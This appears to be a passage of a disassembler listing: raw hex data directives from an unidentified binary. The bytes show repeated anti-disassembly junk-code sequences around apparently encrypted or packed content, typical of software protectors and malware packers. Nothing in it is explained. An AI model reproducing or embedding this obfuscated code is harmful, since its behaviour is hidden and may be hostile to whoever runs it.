		dd 0E947A0DDh, 793252A9h, 64B9h, 6880F00h, 81000000h, 1D68D6F2h
		dd 0E83E8021h, 2E840Fh,	6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 47BCF3C3h, 8B66F105h
		dd 28E9D7h, 85890000h, 9351C31h, 0C2057E80h, 36840Fh, 0CE80000h
		dd 99000000h, 0D55FEDDAh, 46955D69h, 81DA1BF2h,	14FC29DBh
		dd 52465A68h, 5BD6E380h, 9A850F49h, 52FFFFFFh, 1AC214BAh
		dd 27E95B6Dh, 0BA000000h
		dd 17F1E498h, 1095B589h, 6A0935h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 66582CC3h, 4E04F281h
		dd 1B91BD83h, 0F000935h, 0FC84h, 0E1BA6600h, 0F60F8ADh
		dd 58Dh, 0F3816600h, 85C6A1BDh,	935179Dh, 0B99D8B54h, 0E8093522h
		dd 4, 0FF4EBEF4h, 50D18B66h, 4B96060h, 0E9111E11h, 7, 0CFFC2211h
		dd 6140A73Eh, 2890Fh, 61600000h, 24448B61h, 0D18B6604h
		dd 0D38A008Bh, 4244489h, 6A585A57h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 3D88C350h
		dd 9D8BD2F1h, 9350BE5h,	167DB5FFh, 0D18A0935h, 7B70858Dh
		dd 0BA660938h, 0D0FFA854h, 1D558589h, 6A0935h, 0FE960h
		dd 0BB3D0000h, 4284AD59h, 946ECCA5h, 16101E53h,	58D8BB2h
		dd 6109351Bh, 1B91B5FFh, 80BB0935h, 0FF5214ACh,	57006AD0h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 61D38BAEh, 14E9h, 8A00B800h,	0BE224B3Dh, 6BC139D3h
		dd 0D8679E22h, 0E03A0CD4h, 4985C7E2h, 1093512h,	81000000h
		dd 9AD8E3EAh, 5BB36062h, 0A9F14168h, 11E82Dh, 0B7190000h
		dd 0BE4DFEAFh, 145E1664h, 0B8473971h, 0F3DF268h, 681h
		dd 860F00h, 5A000000h, 0C1243481h, 602DA9F1h, 2CC99589h
		dd 0DA8B0935h, 0FFF6A61h, 288h,	0FFD68B00h, 351EA195h
		dd 6820F09h, 31000000h,	3502F1BDh, 0C7806109h, 0E860501Dh
		dd 6, 3D5A9E9Fh, 0B9668D9Bh, 61592D5Ch,	6A240489h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 2CA7C350h, 7AEBC332h, 0C99D8BCCh, 8B093523h,	3527BD85h
		dd 6850F09h, 89000000h,	352DB9BDh, 0FC00B09h, 2C84h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 61E7C6F3h, 3195FFECh, 8009351Bh, 0C38051D3h,	3585C7D3h
		dd 1093516h, 0B7000000h, 0D1BD832Dh, 9350Bh, 3B840Fh, 0D2800000h
		dd 6E965h, 0AAA40000h, 92CB96FDh, 224195FFh, 6A0935h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0B093BFC3h, 89CAB4F3h, 35035195h, 41BD8309h,	93527h
		dd 2C840Fh, 0BF0F0000h,	0ED95FFDBh, 6A09350Ch, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0FBAC352h, 0BA661446h, 0BD83F290h, 9353229h,	47840F00h
		dd 1000000h, 350A3DBDh,	89BD8309h, 93511h, 34850Fh, 0BB660000h
		dd 95FF0F4Fh, 9350A85h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 61C35141h, 0CB8166C4h, 8F0FE988h, 2
		dd 0BD83D78Ah, 9352749h, 34840F00h, 0E8000000h,	0Ch, 97B38893h
		dd 439E6665h, 610537C6h, 24C1B589h, 815A0935h, 352AC185h
		dd 400309h, 81D18B00h, 352CA985h, 400309h, 89858900h, 0F09352Ah
		dd 52006A31h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 8DB2B913h, 355A518Dh, 89D78B09h,	351C7195h
		dd 89018909h, 35061D95h, 6AC23309h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 9AD9C355h
		dd 0BC830416h, 8D9589F7h, 81093512h, 11AB53E2h,	4418929h
		dd 0D19D8B56h, 5B09352Ah, 9533310Fh, 9352CD5h, 5A5D8D8Dh
		dd 8D890935h, 9351D6Dh,	0B5310189h, 93512A1h, 5656C233h
		dd 5A5B5A51h, 50044189h, 21F59533h, 835A0935h, 353301BDh
		dd 840F0009h, 2Dh, 95FFD18Ah, 9351F19h,	1F01BD89h, 810F0935h
		dd 19h,	14E9h, 379BCF00h, 394D3B40h, 732C8EBh, 0E828EF02h
		dd 0E0F1BB55h, 51BD8333h, 109351Bh, 72850Fh, 8F0F0000h
		dd 5, 0F8EB8166h, 5800F31h, 51000000h, 5BD8B70Fh, 57E9h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 30917E89h, 71A4461Fh, 8E9h, 4E3F5400h, 69C378F9h
		dd 859D2903h, 8B093500h, 355B6AB5h, 6C709h, 8B000000h
		dd 355957B5h, 6C709h, 0CF000000h, 852903B6h, 9351EF5h
		dd 1635BD83h, 0F000935h, 14784h, 7DBD8300h, 109351Fh, 12B850Fh
		dd 85090000h, 9351135h,	4B708D8Bh, 0BD010935h, 9350E95h
		dd 0F0001C6h, 689h, 419D8B00h, 6009350Ah, 0E6E38166h, 4E817h
		dd 800000h, 8B660000h, 8B6650D1h, 24448BD3h, 7FADBA04h
		dd 8B5D9Bh, 9E8h, 5118F00h, 0E538EC5Bh,	9E82E12h, 0D9000000h
		dd 0CE4BA12h, 0B1AB5AAh, 820Fh,	5A5A0000h, 4244489h, 58D0F58h
		dd 0BB000000h, 1B8D0A64h, 958BFF6Ah, 935015Dh, 1EA195FFh
		dd 7E90935h, 67000000h,	0CDB2B0CCh, 6A61207Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 17F4C355h, 4BAE749Fh, 0D6B88545h, 257D95FFh,	880F0935h
		dd 3, 8BEEE280h, 354B708Dh, 56006A09h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0FE3F93FCh
		dd 51006A01h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 93693310h, 0FB1F3BBAh, 2EC19D8Bh, 8D0F0935h
		dd 11h,	0CE9h, 0DFA98C00h, 0FA70950Fh, 9B593D2h, 0A5BD8350h
		dd 109352Bh, 2850Fh, 0FC8A0000h, 0BA66C08Bh, 0BD83EA46h
		dd 93526A1h, 83097500h,	353079BDh, 1A740009h, 0C08B5350h
		dd 2AC1858Bh, 85890935h, 9352AC1h, 0B4389D8Dh, 0D3FF0937h
		dd 0BD83585Bh, 9353079h, 50187400h, 0C1858B53h,	8909352Ah
		dd 352AC185h, 279D8D09h, 0FF0937B1h, 89585BD3h,	35227D9Dh
		dd 31B52909h, 8B093532h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 520F86A3h, 978CD528h
		dd 0F5565814h, 35BD835Bh, 93516h, 6C850Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 3DB5DFC3h, 0F25AA1Ch, 686h, 7D958B00h, 83093506h, 351B85BDh
		dd 840F0009h, 32h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 0D3C35141h, 0FE91609h, 0B5000000h, 0B1B1752Ah
		dd 0A0362D35h, 7CBD2366h, 0BD831E01h, 9351635h,	59840F00h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 80EBC357h, 0B70F8FE7h,	15BD83DAh
		dd 93508h, 2A840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0AF2B23C3h, 276170E2h
		dd 9D899C5Ch, 935321Dh
dword_544450	dd 1635BD83h, 0F000935h, 3B84h,	50006A00h, 3E8h, 0C3582000h
					; DATA XREF: ___:off_43D3A4o
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0F0A2D446h
		dd 3AB9CBD3h, 0C780398Bh, 15BD83DEh, 93508h, 6840Fh, 9D8B0000h
		dd 9352745h, 1635BD83h,	0F000935h, 7484h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 3DE3B157h, 2DB589EAh, 0E9093516h, 7,	8021DA25h, 0FC2C2FECh
		dd 855BD83h, 0F000935h,	3484h, 56006A00h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 72635F0h, 0F7DC276h
		dd 0AE9D3B7h, 2F000000h, 595475DFh, 0C1FEDB10h,	35BD83C2h
		dd 93516h, 4C840Fh, 73BB0000h, 835FBA51h, 352861BDh, 840F0009h
		dd 3Ah,	4A59D8Bh, 95FF0935h, 9351265h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 8BC35242h, 0C2F452C3h, 0BD892D03h
		dd 9350DB5h, 2711958Bh,	0C08B0935h, 0CE9h, 415C5A00h, 75028567h
		dd 5D98BE19h, 0A1BD830Eh, 93526h, 0BD830975h, 9353079h
		dd 501A7400h, 8BC08B53h, 352CA985h, 0A9858909h,	8D09352Ch
		dd 37B49F9Dh, 5BD3FF09h, 79BD8358h, 93530h, 53501874h
		dd 2CA9858Bh, 85890935h, 9352CA9h, 0B1409D8Dh, 0D3FF0937h
		dd 9D8B585Bh, 9353029h,	4EDBD89h, 0C9BA0935h, 8B600555h
		dd 0C38166C0h, 0BD837D60h, 9351635h, 97840F00h,	6A000005h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 9133C356h, 0D8BF0F93h, 0DE9h, 0B026C400h
		dd 3F3D560Ch, 4F2CF271h, 0BD83FFB0h, 9351F91h, 1D840F02h
		dd 51000000h, 297D9589h, 835B0935h, 351B51BDh, 850F0109h
		dd 8, 48EB8157h, 5A7C66B1h, 2C89BD83h, 0F000935h, 0FC84h
		dd 0FE900h, 0A8350000h,	2E0A40E0h, 970F7152h, 0B36C0EE1h
		dd 0E281665Bh, 6A60A35Fh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0E42DC353h,	8D8B3629h
		dd 9354B70h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	21C35040h, 9D958B8Dh, 0FE09352Dh, 0E1858901h, 60093513h
		dd 3B5FBF66h, 68619DB0h, 3E645185h, 3481F18Ah, 64510524h
		dd 958B603Eh, 9352C95h,	0E16392B9h, 0FF6A6177h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0DBC35242h, 91E844CCh
		dd 10059501h, 95FF0935h, 9351EA1h, 288D958Bh, 6A610935h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 57C351h, 0C5355933h, 3E0E1B1h, 0DE9h, 0E4616F00h
		dd 60F4C86Dh, 5A0EE70Dh, 8B66490Dh, 9D0960D0h, 93523E1h
		dd 4B708D8Bh, 0BB660935h, 1FEACFCh, 29519D8Bh, 40680935h
		dd 60C46DE1h, 8161F18Ah, 1F402404h, 6A3B92h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 34B0FEC3h
		dd 0FD36A026h, 0BB66688Ah, 0FF6AB04Ch, 5E9h, 0D9B45800h
		dd 9D235B62h, 9352FA5h,	1EA195FFh, 81660935h, 61316CC3h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 57C35040h
		dd 718A5C75h, 0BD8DFA57h, 93529E9h, 8B1C4F8Bh, 3510059Dh
		dd 29016A09h, 3505B195h, 0E8605009h, 0Eh, 7241217Dh, 49F4AFADh
		dd 8A1347EAh, 0DE9D22Eh, 64000000h, 40FD0478h, 4B5F6341h
		dd 7226A604h, 28B0F59h,	0B5000000h, 0C8961C4h, 0EB816624h
		dd 858D7A38h, 9383D39h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 0D1C35242h, 8E8h, 341B3400h, 0FF75E063h
		dd 12E9AFh, 34740000h, 0B0AA398Ah, 67908CC0h, 6AC05EAAh
		dd 6FA101C9h, 8BD0FF5Bh, 11E9204Fh, 0C4000000h,	0BADE26BAh
		dd 2FD27E58h, 8FD37432h, 0D998FA76h, 9D8B036Ah,	9350FFDh
		dd 89D78A50h, 9D8B240Ch, 935259Dh, 3D39858Dh, 958B0938h
		dd 9351D41h, 2E39958Bh,	0D0FF0935h, 2A6D9D8Bh, 0BD8D0935h
		dd 93529E9h, 8B92DF80h,	0AE81C4Fh, 0FB000000h, 0E2A2DE9Eh
		dd 0BD2F8365h, 0AFA5BB90h, 6A5A4CA0h, 57006A01h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
		dd 0BEE9228Ch, 0EA69C868h, 0D59D8B67h, 50093510h, 8B240C89h
		dd 350C1595h, 39858D09h, 6A09383Dh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8B41C355h
		dd 350F8995h, 6AD0FF09h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 411C356h, 0F8ABC904h
		dd 6A204F8Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0AE71C355h, 0AC98ACBAh, 0E9036A51h
		dd 12h,	5670E121h, 0C7691FB9h, 56FE9656h, 0AA8A27AFh, 5CB22123h
		dd 50D88B91h, 0A76AE8BBh, 6A9179h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 5DCC62C3h, 8166BA5Ah
		dd 8DCD69EBh, 383D3985h, 0F00EBA09h, 0D0FF573Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0C35343h, 9A60EBD1h
		dd 89A07A07h, 352AD59Dh, 708D8B09h, 6A09354Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0D5E2C356h, 0B01FE9Eh, 350B6D9Dh, 0C810BA09h, 858B329Fh
		dd 9354B70h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	1CC35747h, 95897323h, 9350CFDh,	8E900FEh, 60000000h
		dd 0D5266352h, 891E45FAh, 3503799Dh, 0BB016A09h, 59E9A951h
		dd 4E8h, 0FF9FFF00h, 9E8FFh, 1C250000h,	0D2A429F2h, 502EE7EDh
		dd 66310F52h, 585AD08Bh, 5250505Ah, 0D3BA6657h,	310F5BADh
		dd 585AD6B2h, 424448Bh,	0BE8h, 401E200h, 0D8FD4CF4h, 0A0E1F16Ah
		dd 0CE9h, 3CDD0F00h, 904D70DEh,	7D4D371Eh, 8B5B5Dh, 0FEA2BB66h
		dd 4244489h, 9E960h, 798A0000h,	0E130B43h, 0E9C7E66Eh
		dd 7, 459CCD2Dh, 61A03940h, 50006A58h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 0EE8AD301h
		dd 858D6D98h, 9383D43h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 5FC35242h, 79B4B803h,	0C8134DC5h, 0FF92B7AAh
		dd 55006AD0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0D954F50Ch, 0BE9h, 6735B300h, 0B3A777F9h
		dd 0D0225D24h, 24DD958Bh, 0BD830935h, 9351B85h,	0DA840F00h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 119AC350h, 89843FEAh, 3510AD85h
		dd 19BD8309h, 109351Ch,	0A7850Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0C1A589C3h
		dd 8DD0BF0Fh, 383D4D8Dh, 0D98B6609h, 8B66036Ah,	6A016AD0h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 5137C350h, 0D78B6660h, 10E9h, 0D7905C00h
		dd 8065A1h, 9AA63082h, 7AE0224Dh, 0FF5B61F3h, 6AD18AD1h
		dd 2EF38001h, 3350016Ah, 3505099Dh, 0DE95A09h, 4000000h
		dd 634140FDh, 0A6044B5Fh, 180C7226h, 8D29D1FFh,	9350F35h
		dd 265EF1E8h, 68C0FF7h,	89000000h, 350501B5h, 0F9206A09h
		dd 9E9FF6Ah, 0A5000000h, 35EFFDEh, 0E235E4A9h, 1EA195FFh
		dd 0DA8B0935h, 7894BF60h, 0DE8784Fh, 0C8000000h, 72568B19h
		dd 6B162BDCh, 526033F9h, 5FCBBF0Fh, 0B861h, 8B660000h
		dd 0DFBF0FD1h, 840FC00Bh, 63h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 55C35141h, 80644FA0h, 0BD83E2C6h
		dd 9350331h, 34840F00h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 5DC6C350h
		dd 0C764F59Ch, 701A386Bh, 0FFDABF0Fh, 350F3D95h, 0B9E1BB09h
		dd 8BF55ABCh, 3526AD85h, 56006A09h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 7E900B9h, 0BD000000h
		dd 0B257DA5h, 0C6094Dh,	0DE900h, 0E4630000h, 44754F17h
		dd 3D2493B3h, 58487BF5h, 30719D29h, 9E80935h, 0BB000000h
		dd 75C6A106h, 21A02705h, 8C665BF9h, 0BE8D9h, 740A0000h
		dd 9DE545EBh, 0BEFFFED1h, 718D8926h, 5B093525h,	30419D8Bh
		dd 0C1F60935h, 5B840F04h, 0E8000000h, 0Eh, 0FD5E11A6h
		dd 0C1C8B022h, 576DCDE4h, 0EE9D3C6h, 8F000000h,	0A387FB7Ch
		dd 0F103E622h, 0C593E2B8h, 2FE95ACFh, 8B000000h, 350B959Dh
		dd 5B58B09h, 8B09350Ch,	351E0995h, 80C68109h, 0F000011h
		dd 68Ch, 0DEEB8100h, 0C74064D8h, 6, 0EB816600h,	0B65EBC12h
		dd 0F8831Fh, 0C7D840Fh,	0F2810000h, 121244BDh, 0F01F883h
		dd 1B985h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 2E869005h, 5EBABA96h, 0B838B5h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 5EB4C352h, 25F2E02Ah, 28F9958Bh, 0C00B0935h
		dd 0DB840Fh, 9D010000h,	9352495h, 0C59B509h, 0F8830935h
		dd 0F5840F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 56D9C356h, 83606EE0h
		dd 840F03F8h, 55h, 28C0Fh, 0D08A0000h, 0BD89C02Bh, 935025Dh
		dd 7974BD8Dh, 6A005Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 9390B8C3h, 62425B73h, 0E9CADEB6h
		dd 9, 3DA8FE7h,	0B7AB8D45h, 0E9E7FF21h,	5, 7FC1C585h, 1B84Ah
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 191027C3h, 4A9158C3h, 292EF6FDh, 352E89B5h
		dd 74BD8D09h, 60005B79h
		db 89h,	8Dh
word_544F42	dw 2CC9h		; DATA XREF: ___:off_435DD8o
		dd 0DA810935h, 4FEC982h, 8BE7FF61h, 0FCBD8DDFh,	0E9093541h
		dd 14h,	0BC876E51h, 0C1FC3C1Bh,	0A32DD0h, 89BCDD8Fh, 2C7C52FBh
		dd 1D5D9589h, 93E90935h, 0BA000002h, 33A541F1h,	4BCB85C7h
		dd 50935h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 51F090C3h, 0FD232689h, 0E977D515h
		dd 11h,	5CB0D668h, 2D2C98B7h, 9ADDF587h, 921E0552h, 5B8A8h
		dd 68B70000h, 9FCE9h, 0D2816600h, 0F883FB91h, 0F8850F02h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 0DCD6C350h, 0B98589EFh, 0F093531h
		dd 0B8D1B7h, 8A000000h,	0FC00BD1h, 6084h, 4D958B00h, 83093530h
		dd 840F01F8h, 0FFFFFF5Ch, 0ED58D29h, 0F8830935h, 0D6840F03h
		dd 89FFFFFEh, 350579B5h, 719D3309h, 2B09350Dh, 8DF08AC0h
		dd 5B7974BDh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 0A7F4DD17h, 2927C866h, 3504A585h
		dd 8AE7FF09h, 0F4BD8DD0h, 6A093543h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0BA80C351h
		dd 0CFBB5B6Ah, 0BA669907h, 67E94804h, 6A000001h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 0B3EBC356h, 0CEF88C28h, 29F96053h, 3523059Dh, 0DDBA6109h
		dd 835F6899h, 850F03F8h, 3Bh, 21B5958Bh, 0BD8D0935h, 9354588h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 7DC35646h
		dd 0F99C8168h, 35B2DF8Bh, 0F9E9h, 0BD9D2B00h, 8309351Ah
		dd 850F05F8h, 1Bh, 8E9h, 0BF274A00h, 47190CC9h,	19953158h
		dd 0E909352Fh, 891h, 83D38B66h,	850F06F8h, 39h,	8DDABF0Fh
		dd 354780BDh, 918D8909h, 0E9093511h, 0B2h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 18C35545h, 28C0F02h
		dd 0B7000000h, 7F883D2h, 47850Fh, 0FF80000h, 683h, 7D958B00h
		dd 8D093502h, 351F9DBDh, 0E9D38A09h, 0F5h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 2AC35242h, 0F7279297h
		dd 66FC68E2h, 31CCF6BBh, 352795B5h, 0AF88309h, 34850Fh
		dd 81660000h, 8D007ACAh, 354978BDh, 8D0F09h, 66000000h
		dd 1BE9D88Bh, 0E8000000h, 13h, 81DFDB8Fh, 0AA412929h, 0CDA16FA8h
		dd 0C5AD80E8h, 0B7BFD479h, 89575AA9h, 35057585h, 4515B909h
		dd 50BA4363h, 895C945Ch, 3500C195h, 3F8309h, 62840Fh, 958B0000h
		dd 9352345h, 6A0F30h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 8BBB9CC3h, 35220195h, 23C9D109h
		dd 352CD59Dh, 6A4709h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 8BE489C3h, 3502659Dh, 0FF9BE909h
		dd 0CA81FFFFh, 660E8B7Eh, 31DB65Fh, 351D0195h, 74BD8909h
		dd 2909354Bh, 35283D95h, 118D8D09h, 6609351Eh, 0FFBBB3BBh
		dd 351AC9B5h, 50006A09h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 12C07615h, 3D9D8B3Bh, 0F093524h
		dd 1380h, 0EE900h, 3A8E0000h, 0A2770E3Ah, 8EA13EC1h, 3604A62h
		dd 0A719858Dh, 8D500937h, 355264BDh, 408D8D09h,	0B809356Dh
		dd 54831ABCh, 730CF2Bh,	4947C8D0h, 0B58DF875h, 9356CC2h
		dd 6D588D8Dh, 0CF2B0935h, 0C933A4F3h, 0B8h, 74C00B00h
		dd 31BD8346h, 93503h, 95FF0674h, 9350F3Dh, 4B74B58Bh, 858D0935h
		dd 937A719h, 858DD0FFh
dword_545350	dd 9354191h, 85C7D0FFh,	9350315h, 1, 2689A58Bh,	0B58B0935h
					; DATA XREF: ___:off_43D364o
		dd 9351049h, 0AF9AD8Bh,	0C0330935h, 0BA000CC2h,	0F89524Eh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 2EC35747h
		dd 9642C765h, 83F1DDC2h, 350021BDh, 840F0009h, 2Fh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 7CC35747h, 0D18589BBh
		dd 0FF093523h, 350C3995h, 4D9D8909h, 8309351Bh,	3515F9BDh
		dd 850F0009h, 264h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 93C35545h, 0DA8B6610h, 1C19BD83h, 0F010935h
		dd 23785h, 83D38A00h, 3516B1BDh, 840F0009h, 228h, 0B3FBB66h
		dd 4BC7BD83h, 0F000935h, 21784h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 9082A072h
		dd 0B1B8765Dh, 0B985017Eh, 8D09352Bh, 37A71985h, 0D8B70F09h
		dd 4B74B58Bh, 6A0935h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 2503FAC3h, 0ACFDF871h, 66FD4533h
		dd 0D0FFD88Bh, 9E9h, 0DF648D00h, 0F942D090h, 85C62C04h
		dd 935179Dh, 50006A54h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 918FCA5h,	297A083Dh, 352FBD85h, 4E809h
		dd 0BEF40000h, 0BA66FF4Eh, 8A50E9F1h, 24448BF1h, 0DF8B6604h
		dd 8B66008Bh, 244489D8h, 0DE904h, 1F9A0000h, 0F68A2B00h
		dd 0FC06CC5Dh, 58E9C0F3h, 789B589h, 0B5FF0935h,	9350EC9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0BC35040h
		dd 578E3C2Dh, 443E9A71h, 6880F82h, 89000000h, 35288995h
		dd 98858D09h, 6A093538h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 2BF4C353h, 9B0ED60Eh
		dd 0D0FF1D64h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	93C35141h, 0BFD99B29h, 31ED8C8Bh, 481958Bh, 6A0935h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 97C35040h
		dd 786617E5h, 5655EC26h, 0C15950Bh, 6A5A0935h, 0DE9FFh
		dd 81790000h, 33B47A03h, 60C3A14Dh, 0FF2EB7C2h,	609DB7D0h
		dd 850F60h, 61000000h, 9E8h, 65CD4C00h,	0A41DE1E4h, 615ED2C6h
		dd 6C5B5FFh, 6A0935h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 413F4DC3h, 0FFEB9060h, 351AC995h
		dd 55006A09h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 6E921h, 0E3BF0000h, 0B56DAB73h, 4B74B58Bh
		dd 958B0935h, 9352431h,	0B50360C3h, 9353329h, 151BDB81h
		dd 8B6104B0h, 3526ADB5h, 52006A09h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 339D7F8Ah, 0C11113C4h
		dd 0E7D78093h, 840FF60Bh, 3Dh, 0DE9h, 39227C00h, 5ABF2252h
		dd 86F39A24h, 6C602DFh,	57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0B8D52C60h, 0FFB48686h
		dd 0BF0F9B54h, 7C8589DAh, 109354Bh, 352EB595h, 0F88309h
		dd 39D840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 0F267A8C3h, 869B6072h, 850F12B7h
		dd 6, 7E19D8Bh,	0B80935h, 66000000h, 830F69BAh,	840F00F8h
		dd 129h, 0E8CA8166h, 2F8831Dh, 0C1850Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 43C30AC3h, 0F2C4C95h, 68Ch, 259D8900h, 8B093506h, 35100D95h
		dd 0F7858D09h, 81093541h, 0F8BD32E2h, 9292D7Bh,	6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 9B1498C3h, 759D8B1Ah, 90093500h, 5E8h, 31D20000h, 0DF8BDDA7h
		dd 6652505Bh, 5B4A1EBAh, 0BE890h, 7D4B0000h, 0B8E0707Bh
		dd 0D1C04B6Bh, 0EB81662Bh, 0C35BF6DDh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 2DC35141h, 0F5154D7h, 58Ah
		dd 0EB05BB00h, 0B85B101Ch, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 38C35545h
		dd 266E9h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 2A690892h, 0E9306F31h, 0Ah, 24650D3Eh
		dd 0AE4850DFh, 0F280DFD7h, 1B80Dh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0C8081C3h
